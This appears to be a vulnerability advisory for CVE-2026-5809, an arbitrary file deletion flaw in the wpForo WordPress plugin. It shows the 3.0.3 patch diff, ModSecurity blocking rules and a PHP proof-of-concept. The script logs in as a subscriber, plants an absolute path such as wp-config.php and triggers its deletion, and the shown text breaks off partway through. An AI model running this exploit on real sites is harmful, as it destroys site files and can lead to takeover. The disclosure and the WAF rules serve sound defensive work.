+		// Count remaining topics in queue
+		$queue_key = 'wpforo_ai_indexing_queue_' . $board_id;
+		$pending = get_option( $queue_key, [] );
+		$remaining = is_array( $pending ) ? count( $pending ) : 0;
+
+		// Calculate progress
+		$processed = $total - $remaining;
+		if ( $processed < 0 ) {
+			$processed = 0; // Safety: queue grew larger than original total
+		}
+
+		return (int) round( ( $processed / $total ) * 100 );
+	}
+
+	/**
 	 * Get cloud storage statistics
 	 *
 	 * @return array
@@ -276,9 +312,9 @@
 			$rag_status = [];
 		}

-		// Check for pending WP Cron jobs
-		$pending_jobs = $this->get_pending_cron_jobs();
-		$is_indexing = ( $rag_status['is_indexing'] ?? false ) || $pending_jobs['has_pending_jobs'];
+		// Only report is_indexing when the backend is actively processing.
+		// Queued WP Cron topics are reported separately via pending_cron_jobs.
+		$is_indexing = (bool) ( $rag_status['is_indexing'] ?? false );

 		// Use local cloud column for accurate count (reflects manual changes)
 		$total_indexed = (int) $wpdb->get_var(
@@ -466,17 +502,16 @@

 		$local = $this->get_local_storage();
 		$indexed_count = 0;
+		$noise_filtered_count = 0;
 		$errors = [];
 		$is_first = true;

 		foreach ( $posts as $post ) {
 			// Mark first post for special handling
 			$post['is_first_post'] = $is_first;
+			$current_is_first = $is_first;
 			$is_first = false;

-			// Generate content for embedding
-			$content = $this->prepare_content_for_embedding( $post, $topic );
-
 			// Extract images if image indexing is enabled
 			$images = [];
 			if ( $include_images && ! empty( $post['body'] ) ) {
@@ -489,6 +524,19 @@
 				$documents = $ai_client->extract_post_documents( $post['body'] );
 			}

+			// Skip noise posts, but NEVER skip:
+			// - First post (topic body is always indexed)
+			// - Posts with images/documents that WILL be indexed (attachments have value even with short text)
+			// Note: $images/$documents are only populated if indexing is enabled, so this check is correct
+			$has_indexable_attachments = ! empty( $images ) || ! empty( $documents );
+			if ( ! $current_is_first && ! $has_indexable_attachments && $this->is_noise_post( $post['body'] ?? '' ) ) {
+				$noise_filtered_count++;
+				continue;
+			}
+
+			// Generate content for embedding
+			$content = $this->prepare_content_for_embedding( $post, $topic );
+
 			// Use content hash for deduplication
 			// Include image and document counts so re-index happens when attachments change
 			$hash_input   = $content . '|images:' . count( $images ) . '|docs:' . count( $documents );
@@ -556,10 +604,11 @@
 		}

 		$response = [
-			'success'       => true,
-			'indexed_count' => $indexed_count,
-			'total_posts'   => count( $posts ),
-			'errors'        => $errors,
+			'success'              => true,
+			'indexed_count'        => $indexed_count,
+			'noise_filtered_count' => $noise_filtered_count,
+			'total_posts'          => count( $posts ),
+			'errors'               => $errors,
 		];

 		// Add image processing stats if images were processed
@@ -621,11 +670,12 @@
 	public function index_topics_batch_local( $topic_ids, $options = [] ) {
 		if ( empty( $topic_ids ) ) {
 			return [
-				'success'        => true,
-				'indexed_count'  => 0,
-				'skipped_count'  => 0,
-				'total_posts'    => 0,
-				'errors'         => [],
+				'success'              => true,
+				'indexed_count'        => 0,
+				'skipped_count'        => 0,
+				'noise_filtered_count' => 0,
+				'total_posts'          => 0,
+				'errors'               => [],
 			];
 		}

@@ -645,6 +695,7 @@
 		$items_with_images = [];    // Items with images or documents (single endpoint)
 		$post_metadata = [];        // Metadata for storing after embedding
 		$skipped_count = 0;
+		$noise_filtered_count = 0;  // Posts filtered as noise (short, gratitude, etc.)
 		$topics_with_embeddings = [];  // Topics that have at least one indexed post

 		// Batch-fetch all topics in one query to avoid N+1
@@ -699,12 +750,9 @@
 			$is_first = true;
 			foreach ( $posts as $post ) {
 				$post['is_first_post'] = $is_first;
+				$current_is_first = $is_first;
 				$is_first = false;

-				// Prepare content for embedding
-				$content = $this->prepare_content_for_embedding( $post, $topic );
-				$post_id = $post['postid'];
-
 				// Extract images if image indexing is enabled
 				$images = [];
 				if ( $include_images && ! empty( $post['body'] ) ) {
@@ -717,6 +765,20 @@
 					$documents = $ai_client->extract_post_documents( $post['body'] );
 				}

+				// Skip noise posts, but NEVER skip:
+				// - First post (topic body is always indexed)
+				// - Posts with images/documents that WILL be indexed (attachments have value even with short text)
+				// Note: Only exempt if indexing is enabled AND post actually has attachments
+				$has_indexable_attachments = ! empty( $images ) || ! empty( $documents );
+				if ( ! $current_is_first && ! $has_indexable_attachments && $this->is_noise_post( $post['body'] ?? '' ) ) {
+					$noise_filtered_count++;
+					continue;
+				}
+
+				// Prepare content for embedding
+				$content = $this->prepare_content_for_embedding( $post, $topic );
+				$post_id = $post['postid'];
+
 				// Stable hash from raw content — not from prepare_content_for_embedding() output.
 				// This ensures enrichment formatting changes don't invalidate all existing hashes.
 				$content_hash = $this->compute_content_hash( $post, $topic, count( $images ), count( $documents ) );
@@ -769,12 +831,13 @@
 			}

 			return [
-				'success'        => true,
-				'indexed_count'  => 0,
-				'skipped_count'  => $skipped_count,
-				'total_posts'    => $skipped_count,
-				'errors'         => [],
-				'message'        => sprintf( wpforo_phrase( 'All %d posts already indexed (unchanged).', false ), $skipped_count ),
+				'success'              => true,
+				'indexed_count'        => 0,
+				'skipped_count'        => $skipped_count,
+				'noise_filtered_count' => $noise_filtered_count,
+				'total_posts'          => $skipped_count + $noise_filtered_count,
+				'errors'               => [],
+				'message'              => sprintf( wpforo_phrase( 'All %d posts already indexed (unchanged).', false ), $skipped_count ),
 			];
 		}

@@ -935,11 +998,12 @@
 			}

 			return [
-				'success'        => false,
-				'indexed_count'  => 0,
-				'skipped_count'  => $skipped_count,
-				'total_posts'    => $total_items + $skipped_count,
-				'errors'         => $errors,
+				'success'              => false,
+				'indexed_count'        => 0,
+				'skipped_count'        => $skipped_count,
+				'noise_filtered_count' => $noise_filtered_count,
+				'total_posts'          => $total_items + $skipped_count + $noise_filtered_count,
+				'errors'               => $errors,
 			];
 		}

@@ -991,12 +1055,13 @@
 		}

 		$response = [
-			'success'        => true,
-			'indexed_count'  => $indexed_count,
-			'skipped_count'  => $skipped_count,
-			'total_posts'    => $total_items + $skipped_count,
-			'credits_used'   => $total_credits_used > 0 ? $total_credits_used : count( $topic_ids ),
-			'errors'         => $errors,
+			'success'              => true,
+			'indexed_count'        => $indexed_count,
+			'skipped_count'        => $skipped_count,
+			'noise_filtered_count' => $noise_filtered_count,
+			'total_posts'          => $total_items + $skipped_count + $noise_filtered_count,
+			'credits_used'         => $total_credits_used > 0 ? $total_credits_used : count( $topic_ids ),
+			'errors'               => $errors,
 		];

 		// Add image processing stats if images were processed
@@ -1136,6 +1201,150 @@
 	}

 	/**
+	 * Noise filtering patterns - matches cloud mode (rag_ingestion/handler.py)
+	 * These patterns identify non-informative content that shouldn't be indexed.
+	 */
+	private static $gratitude_patterns = [
+		'/^thanks?.?!?$/i',
+		'/^thank you.?!?$/i',
+		'/^thx.?!?$/i',
+		'/^ty.?!?$/i',
+		'/^thanks?,?s*(a lot|so much|for .{0,30}).?!?$/i',
+		'/^(great|awesome|perfect|helpful|nice|good),?s*thanks?.?!?$/i',
+		'/^thanks?,?s*(it works|that worked|that fixed it|that helped).?!?$/i',
+	];
+
+	private static $agreement_patterns = [
+		'/^i agree.?!?$/i',
+		'/^same here.?!?$/i',
+		'/^me too.?!?$/i',
+		'/^same (problem|issue).?!?$/i',
+		'/^+1.?$/i',
+		'/^this.?!?$/i',
+		'/^exactly.?!?$/i',
+		'/^(yes|no|correct|right|true|indeed|absolutely|definitely).?!?$/i',
+	];
+
+	private static $bump_patterns = [
+		'/^bump.?!?$/i',
+		'/^following.?$/i',
+		'/^subscribing.?$/i',
+		'/^watching.?$/i',
+		'/^any ?one??$/i',
+		'/^any updates???$/i',
+		'/^hello??$/i',
+		'/^still waiting.?$/i',
+		'/^???+$/i',
+	];
+
+	private static $noise_phrases = [ 'ok', 'okay', 'k', 'up' ];
+
+	/** Minimum character count for indexing */
+	const MIN_CHAR_COUNT = 20;
+
+	/** Minimum word count for indexing */
+	const MIN_WORD_COUNT = 5;
+
+	/** Cached locale check result for performance */
+	private static $is_english_locale = null;
+
+	/**
+	 * Check if the current locale is English-like.
+	 * Cached for performance since it doesn't change during a request.
+	 *
+	 * @return bool True if locale is English (en, en_US, en_GB, etc.)
+	 */
+	private function is_english_locale() {
+		if ( self::$is_english_locale === null ) {
+			$locale = get_locale();
+			// Match en, en_US, en_GB, en_AU, etc.
+			self::$is_english_locale = ( $locale === 'en' || strpos( $locale, 'en_' ) === 0 );
+		}
+		return self::$is_english_locale;
+	}
+
+	/**
+	 * Check if a post is noise content that shouldn't be indexed.
+	 *
+	 * Filters out non-informative content to improve search quality:
+	 * - Length < 20 characters (all languages)
+	 * - Word count < 5 words (all languages)
+	 * - Only emojis (no alphanumeric text) (all languages)
+	 * - Gratitude-only posts ("thanks", etc.) (English only)
+	 * - Agreement-only posts ("+1", "I agree", etc.) (English only)
+	 * - Bump/follow posts ("bump", "following", etc.) (English only)
+	 * - Common noise phrases ("ok", etc.) (English only)
+	 *
+	 * Pattern matching is only applied for English locales to avoid
+	 * wasting resources on non-English forums where patterns won't match.
+	 *
+	 * Matches cloud mode behavior (rag_ingestion/handler.py:is_noise_reply).
+	 *
+	 * @param string $body Post body content (HTML allowed, will be stripped)
+	 * @return bool True if post is noise and should be skipped, false if it should be indexed
+	 */
+	public function is_noise_post( $body ) {
+		// Strip HTML and normalize whitespace
+		$cleaned = wp_strip_all_tags( $body );
+		$cleaned = preg_replace( '/s+/', ' ', $cleaned );
+		$cleaned = trim( $cleaned );
+
+		// Rule 1: Minimum character count (language-agnostic)
+		if ( mb_strlen( $cleaned ) < self::MIN_CHAR_COUNT ) {
+			return true;
+		}
+
+		// Rule 2: Minimum word count (language-agnostic)
+		$words = preg_split( '/s+/', $cleaned, -1, PREG_SPLIT_NO_EMPTY );
+		if ( count( $words ) < self::MIN_WORD_COUNT ) {
+			return true;
+		}
+
+		// Rule 3: Check if only emojis/symbols (no alphanumeric chars) (language-agnostic)
+		if ( ! preg_match( '/[a-zA-Z0-9]/', $cleaned ) ) {
+			return true;
+		}
+
+		// Pattern matching only for English locales - skip for other languages
+		// to avoid wasting CPU cycles on patterns that won't match
+		if ( ! $this->is_english_locale() ) {
+			return false;
+		}
+
+		// Prepare for pattern matching (English only from here)
+		$lower_text = mb_strtolower( $cleaned );
+
+		// Rule 4: Gratitude-only detection
+		foreach ( self::$gratitude_patterns as $pattern ) {
+			if ( preg_match( $pattern, $lower_text ) ) {
+				return true;
+			}
+		}
+
+		// Rule 5: Agreement-only detection
+		foreach ( self::$agreement_patterns as $pattern ) {
+			if ( preg_match( $pattern, $lower_text ) ) {
+				return true;
+			}
+		}
+
+		// Rule 6: Bump/follow detection
+		foreach ( self::$bump_patterns as $pattern ) {
+			if ( preg_match( $pattern, $lower_text ) ) {
+				return true;
+			}
+		}
+
+		// Rule 7: Legacy noise phrases (exact match)
+		if ( in_array( $lower_text, self::$noise_phrases, true ) ) {
+			return true;
+		}
+
+		// Passed all filters - keep this post
+		return false;
+	}
+
+	/**
 	 * Compute a stable content hash for embedding deduplication.
 	 *
 	 * Uses raw content inputs (body text, topic title, attachment counts) rather than
@@ -2238,6 +2447,23 @@
 	 * @return array|WP_Error Search results or error
 	 */
 	public function semantic_search( $query, $limit = 10, $filters = [] ) {
+		// Add forum access filtering (restrict to forums user can view)
+		// This applies to BOTH local and cloud modes
+		$ai_client = $this->get_ai_client();
+		$accessible_forumids = $ai_client->get_accessible_forumids();
+
+		if ( $accessible_forumids !== null ) {
+			// User has restricted access - if empty array, they can't access any forums
+			if ( empty( $accessible_forumids ) ) {
+				return [
+					'results' => [],
+					'total'   => 0,
+					'message' => wpforo_phrase( 'No results found', false ),
+				];
+			}
+			$filters['accessible_forumids'] = $accessible_forumids;
+		}
+
 		if ( $this->is_local_mode() ) {
 			return $this->semantic_search_local( $query, $limit, $filters );
 		} else {
@@ -2257,9 +2483,19 @@
 		// Inject score threshold from settings so VectorStorageLocal filters at search time.
 		// Local cosine similarities are on a different scale (5-25%) than cloud scores (30-90%),
 		// so apply 1/3 of the configured threshold for local mode.
+		// Minimum absolute threshold of 15% prevents garbage results from nonsense queries
+		// (random vectors have ~5-15% cosine similarity with any query).
 		$min_score_setting = (int) wpfval( WPF()->settings->ai, 'search_min_score' );
-		if ( $min_score_setting > 0 && ! isset( $filters['min_score'] ) ) {
-			$filters['min_score'] = ( $min_score_setting / 100 ) / 3;
+		$local_threshold   = $min_score_setting > 0 ? ( $min_score_setting / 100 ) / 3 : 0;
+		$absolute_min      = 0.15; // 15% - below this, results are definitely garbage
+		if ( ! isset( $filters['min_score'] ) ) {
+			$filters['min_score'] = max( $local_threshold, $absolute_min );
+		}
+
+		// Convert accessible_forumids to forumids for local storage (include filter)
+		if ( ! empty( $filters['accessible_forumids'] ) && empty( $filters['forumids'] ) ) {
+			$filters['forumids'] = $filters['accessible_forumids'];
+			unset( $filters['accessible_forumids'] );
 		}

 		// Generate embedding for query
@@ -2369,6 +2605,46 @@
 			'total'   => count( $results ),
 		];

+		// Collect topic and post IDs for forum results to batch fetch (avoids N+1 queries)
+		$topic_ids = [];
+		$post_ids  = [];
+		foreach ( $results as $result ) {
+			$content_type = $result['content_type'] ?? 'forum';
+			if ( $content_type === 'forum' ) {
+				$topic_ids[] = (int) $result['topicid'];
+				$post_ids[]  = (int) $result['postid'];
+			}
+		}
+
+		// Batch fetch topics and posts in 2 queries instead of 2*N queries
+		$topics_map = [];
+		$posts_map  = [];
+
+		if ( ! empty( $topic_ids ) ) {
+			$topic_ids  = array_unique( array_filter( $topic_ids ) );
+			$_count     = 0;
+			$all_topics = WPF()->topic->get_topics( [
+				'include'   => $topic_ids,
+				'row_count' => count( $topic_ids ),
+			], $_count, false );
+			foreach ( $all_topics as $t ) {
+				$topics_map[ (int) $t['topicid'] ] = $t;
+			}
+		}
+
+		if ( ! empty( $post_ids ) ) {
+			$post_ids  = array_unique( array_filter( $post_ids ) );
+			$_count    = 0;
+			$all_posts = WPF()->post->get_posts( [
+				'include'   => $post_ids,
+				'row_count' => count( $post_ids ),
+			], $_count, false );
+			foreach ( $all_posts as $p ) {
+				$posts_map[ (int) $p['postid'] ] = $p;
+			}
+		}
+
+		// Process results using pre-fetched maps
 		foreach ( $results as $result ) {
 			$content_type = $result['content_type'] ?? 'forum';

@@ -2402,29 +2678,56 @@
 				continue;
 			}

-			// Get full topic and post data
-			$topic = WPF()->topic->get_topic( $result['topicid'] );
-			$post = WPF()->post->get_post( $result['postid'] );
+			// Forum result - use pre-fetched maps
+			$topic = $topics_map[ (int) $result['topicid'] ] ?? null;
+			$post  = $posts_map[ (int) $result['postid'] ] ?? null;

 			if ( ! $topic || ! $post ) {
 				continue;
 			}

+			// Calculate quality boost for ranking (uses live data, no schema changes)
+			// Boost is applied to ranking only; original score is preserved for display
+			$base_score = (float) $result['similarity'];
+			$boost = 1.0;
+			if ( ! empty( $topic['solved'] ) ) {
+				$boost += 0.05; // +5% for solved topics
+			}
+			if ( ! empty( $post['is_answer'] ) ) {
+				$boost += 0.10; // +10% for best answer posts
+			}
+			if ( ! empty( $post['votes'] ) && (int) $post['votes'] > 5 ) {
+				$boost += 0.03; // +3% for well-voted posts (>5 votes)
+			}
+
 			$formatted['results'][] = [
-				'topic_id'    => (int) $result['topicid'],
-				'post_id'     => (int) $result['postid'],
-				'forum_id'    => (int) $result['forumid'],
-				'title'       => $topic['title'] ?? '',
-				'content'     => preg_replace( '/[(?:FORUM|SOLVED|BEST ANSWER)[^]]*]/', '', $result['content_preview'] ?? preg_replace( '/[(?:/)?[a-zA-Z0-9_-]+(?:s[^]]*?)?]/', '', strip_tags( $post['body'] ) ) ),
-				'score'       => (float) $result['similarity'],
-				'url'         => WPF()->topic->get_url( $result['topicid'] ),
-				'post_url'    => WPF()->post->get_url( $result['postid'] ),
-				'created'     => $post['created'] ?? null,
-				'user_id'     => (int) ( $result['userid'] ?? 0 ),
-				'content_type' => 'forum',
+				'topic_id'      => (int) $result['topicid'],
+				'post_id'       => (int) $result['postid'],
+				'forum_id'      => (int) $result['forumid'],
+				'title'         => $topic['title'] ?? '',
+				'content'       => preg_replace( '/[(?:FORUM|SOLVED|BEST ANSWER)[^]]*]/', '', $result['content_preview'] ?? preg_replace( '/[(?:/)?[a-zA-Z0-9_-]+(?:s[^]]*?)?]/', '', strip_tags( $post['body'] ) ) ),
+				'score'         => $base_score, // Original similarity for display
+				'_boost_score'  => $base_score * $boost, // Internal: for sorting only
+				'url'           => WPF()->topic->get_url( $topic ),  // Pass array to avoid extra query
+				'post_url'      => WPF()->post->get_url( $post ),    // Pass array to avoid extra query
+				'created'       => $post['created'] ?? null,
+				'user_id'       => (int) ( $result['userid'] ?? 0 ),
+				'content_type'  => 'forum',
 			];
 		}

+		// Re-sort by boosted score (quality signals affect ranking)
+		if ( ! empty( $formatted['results'] ) ) {
+			usort( $formatted['results'], function( $a, $b ) {
+				return ( $b['_boost_score'] ?? $b['score'] ) <=> ( $a['_boost_score'] ?? $a['score'] );
+			} );
+			// Remove internal boost score from output
+			foreach ( $formatted['results'] as &$r ) {
+				unset( $r['_boost_score'] );
+			}
+			unset( $r );
+		}
+
 		return $formatted;
 	}

--- a/wpforo/includes/functions.php
+++ b/wpforo/includes/functions.php
@@ -2644,6 +2644,9 @@
 	if( $folders && preg_match( '#[/\]wpforo(?:_d+)?[/\](?:' . implode( '|', $folders ) . ')[/\].+?$#iu', (string) $upload_dir, $match ) ) {
 		$upload_dir = wpforo_fix_dir_sep( WPF()->folders['wp_upload']['dir'] . $match[0] );
 		$upload_dir = urldecode( (string) $upload_dir );
+	} else {
+		// Security: Return empty string for paths outside wpforo uploads to prevent arbitrary file operations
+		$upload_dir = '';
 	}

 	return $upload_dir;
--- a/wpforo/includes/installation.php
+++ b/wpforo/includes/installation.php
@@ -103,6 +103,10 @@
 		wpforo_migrate_recent_activity_menu();
 		wpforo_migrate_theme_styles();
 	}
+
+	// Migrate AI quality defaults to faster tiers (3.0.3+)
+	// Runs for all versions - has its own one-time flag check
+	wpforo_migrate_ai_quality_defaults();
 }

 function wpforo_create_tables() {
@@ -1800,3 +1804,70 @@
 	// Mark migration as complete
 	update_option( 'wpforo_theme_styles_migrated', 1 );
 }
+
+/**
+ * Migrate AI quality settings to optimized defaults for better performance.
+ * Changes quality tiers from 'advanced' to 'fast'/'balanced' to reduce API timeouts.
+ * This only runs once during plugin update.
+ *
+ * New defaults (3.0.3+):
+ * - search_quality: 'fast' (was 'balanced')
+ * - search_enhance_quality: 'balanced' (was 'advanced')
+ * - translation_quality: 'fast' (was 'advanced')
+ * - topic_summary_quality: 'balanced' (was 'advanced')
+ * - moderation_spam_quality: 'balanced' (was 'advanced')
+ * - chatbot_quality: 'balanced' (was 'fast')
+ *
+ * @since 3.0.3
+ */
+function wpforo_migrate_ai_quality_defaults() {
+	// Only run this migration once
+	if( get_option( 'wpforo_ai_quality_defaults_migrated' ) ) {
+		return;
+	}
+
+	// Define quality settings to update (old_value => new_value)
+	$quality_changes = [
+		'search_quality'         => 'fast',
+		'search_enhance_quality' => 'balanced',
+		'translation_quality'    => 'fast',
+		'topic_summary_quality'  => 'balanced',
+		'moderation_spam_quality' => 'balanced',
+		'chatbot_quality'        => 'balanced',
+	];
+
+	// Get all board IDs (including default board 0)
+	$boardids = [ 0 ];
+	if( class_exists( 'wpforo\classes\Board' ) && method_exists( WPF()->board, 'get_active_boardids' ) ) {
+		$boardids = array_unique( array_merge( $boardids, (array) WPF()->board->get_active_boardids() ) );
+	}
+
+	foreach( $boardids as $boardid ) {
+		// Build option name: wpforo_ai (board 0) or wpforo_{boardid}_ai (other boards)
+		$option_name = 'wpforo_' . ( $boardid ? $boardid . '_' : '' ) . 'ai';
+		$ai_settings = get_option( $option_name, [] );
+
+		// Skip if no settings saved (new install, will use new defaults)
+		if( empty( $ai_settings ) ) {
+			continue;
+		}
+
+		// Update only the quality settings
+		$updated = false;
+		foreach( $quality_changes as $key => $new_value ) {
+			// Only update if the key exists (user has this setting saved)
+			if( isset( $ai_settings[ $key ] ) ) {
+				$ai_settings[ $key ] = $new_value;
+				$updated = true;
+			}
+		}
+
+		// Save updated settings
+		if( $updated ) {
+			update_option( $option_name, $ai_settings );
+		}
+	}
+
+	// Mark migration as complete
+	update_option( 'wpforo_ai_quality_defaults_migrated', 1 );
+}
--- a/wpforo/themes/2026/layouts/5/forum.php
+++ b/wpforo/themes/2026/layouts/5/forum.php
@@ -80,7 +80,8 @@
             ?>
             <div id="wpf-forum-<?php echo intval( $forum['forumid'] ) ?>" class="wpforo-forum-card <?php wpforo_unread( $forum['forumid'], 'forum' ) ?>">

-                <!-- Card Cover with Stats Overlay -->
+                <!-- Card Cover with Stats Overlay (Clickable) -->
+                <a href="<?php echo esc_url( (string) $forum_url ); ?>" class="forum-card-cover-link">
                 <div class="forum-card-cover" <?php if( $cover_image_url ): ?>style="background-image: url('<?php echo esc_url( $cover_image_url ); ?>');"<?php else: ?>style="background: linear-gradient(135deg, <?php echo esc_attr( $forum['color'] ); ?>55 0%, <?php echo esc_attr( $forum['color'] ); ?>99 100%);"<?php endif; ?>>

                     <!-- Stats and Avatars Overlay -->
@@ -116,6 +117,7 @@
                         <?php endif; ?>
                     </div>
                 </div>
+                </a>

                 <!-- Card Info (Icon + Title + Description) -->
                 <div class="forum-card-info">
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.0.2
+* Version: 3.0.3
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.0.2' );
+define( 'WPFORO_VERSION', '3.0.3' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5809
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265809,phase:2,deny,status:403,chain,msg:'CVE-2026-5809 wpForo Arbitrary File Deletion via AJAX',severity:'CRITICAL',tag:'CVE-2026-5809',tag:'wpforo',tag:'file-deletion'"
  SecRule ARGS_POST:action "@streq wpforo_ajax" "chain"
    SecRule ARGS_POST:wpfaction "@within topic_add topic_edit" "chain"
      SecRule ARGS_POST "@rx data[body][fileurl]" 
        "t:lowercase,t:urlDecodeUni,setvar:'tx.wpforo_file_deletion=1',chain"
        SecRule ARGS_POST:data_body_fileurl "@rx ^(?:/|..|\|[a-zA-Z]:)" 
          "t:lowercase,t:urlDecodeUni,t:removeNulls,t:removeWhitespace,msg:'Absolute path or directory traversal in wpForo fileurl parameter'"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265810,phase:2,deny,status:403,chain,msg:'CVE-2026-5809 wpForo Arbitrary File Deletion via wpftcf_delete',severity:'CRITICAL',tag:'CVE-2026-5809',tag:'wpforo',tag:'file-deletion'"
  SecRule ARGS_POST:action "@streq wpforo_ajax" "chain"
    SecRule ARGS_POST:wpfaction "@streq topic_edit" "chain"
      SecRule ARGS_POST:wpftcf_delete "@contains body" 
        "t:lowercase,t:urlDecodeUni,msg:'wpForo body field deletion attempt'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5809 - wpForo Forum <= 3.0.2 - Authenticated (Subscriber+) Arbitrary File Deletion via 'data[body][fileurl]' Parameter

<?php

$target_url = 'https://example.com/wp-content/plugins/wpforo/'; // Change to target site
$username = 'subscriber'; // Subscriber account username
$password = 'password'; // Subscriber account password
$file_to_delete = '/var/www/html/wp-config.php'; // Absolute path to target file

// Step 1: Authenticate and get cookies/nonce
function authenticate_wp($url, $user, $pass) {
    $login_url = $url . '../../wp-login.php';
    $admin_url = $url . '../../wp-admin/';
    
    // Get login page to extract nonce
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $response = curl_exec($ch);
    
    // Extract nonce from login form
    preg_match('/name="wpforo_nonce" value="([^"]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    // Perform login
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'wpforo_nonce' => $nonce
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    curl_exec($ch);
    curl_close($ch);
    
    return file_exists('/tmp/cookies.txt');
}

// Step 2: Create a topic with malicious fileurl in postmeta
function create_topic_with_malicious_fileurl($base_url, $file_path) {
    $ajax_url = $base_url . '../../wp-admin/admin-ajax.php';
    
    // First, get forum ID and nonce for topic creation
    $ch = curl_init($base_url . '../../forums/');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $response = curl_exec($ch);
    
    // Extract forum ID from page (simplified - in real exploit would parse page)
    preg_match('/forumid="(d+)"/', $response, $forum_matches);
    $forumid = $forum_matches[1] ?? 1;
    
    // Extract nonce for wpforo_ajax
    preg_match('/name="_wpfnonce" value="([^"]+)"/', $response, $nonce_matches);
    $nonce = $nonce_matches[1] ?? '';
    
    // Create topic with malicious data[body][fileurl]
    $post_data = [
        'action' => 'wpforo_ajax',
        'wpfaction' => 'topic_add',
        '_wpfnonce' => $nonce,
        'data[forumid]' => $forumid,
        'data[topic][title]' => 'Test Topic',
        'data[topic][body]' => 'Test content',
        'data[body][fileurl]' => $file_path, // Malicious absolute path
        'data[body][filename]' => 'wp-config.php',
        'data[body][filesize]' => '1234'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_RETURNTRANSFER => true
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Extract topic ID from response
    preg_match('/topicid":(d+)/', $response, $topic_matches);
    return $topic_matches[1] ?? false;
}

// Step 3: Trigger file deletion via wpftcf_delete[]=body
function trigger_file_deletion($base_url, $topic_id) {
    $ajax_url = $base_url . '../../wp-admin/admin-ajax.php';
    
    // Get edit nonce
    $ch = curl_init($base_url . '../../topic/test-topic-' . $topic_id . '/');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $response = curl_exec($ch);
    
    preg_match('/name="_wpfnonce" value="([^"]+)"/', $response, $nonce_matches);
    $nonce = $nonce_matches[1] ?? '';
    
    // Submit deletion request
    $post_data = [
        'action' => 'wpforo_ajax',
        'wpfaction' => 'topic_edit',
        '_wpfnonce' => $nonce,
        'data[topicid]' => $topic_id,
        'wpftcf_delete[]' => 'body' // Triggers add_file() deletion
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_RETURNTRANSFER => true
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code == 200;
}

// Main execution
if (authenticate_wp($target_url, $username, $password)) {
    echo "[+] Authentication successfuln";
    
    $topic_id = create_topic_with_malicious_fileurl($target_url, $file_to_delete);
    if ($topic_id) {
        echo "[+] Topic created with ID: $topic_idn";
        echo "[+] Malicious fileurl stored in postmetan";
        
        if (trigger_file_deletion($target_url, $topic_id)) {
            echo "[+] File deletion triggeredn";
            echo "[+] Check if $file_to_delete was deletedn";
        } else {
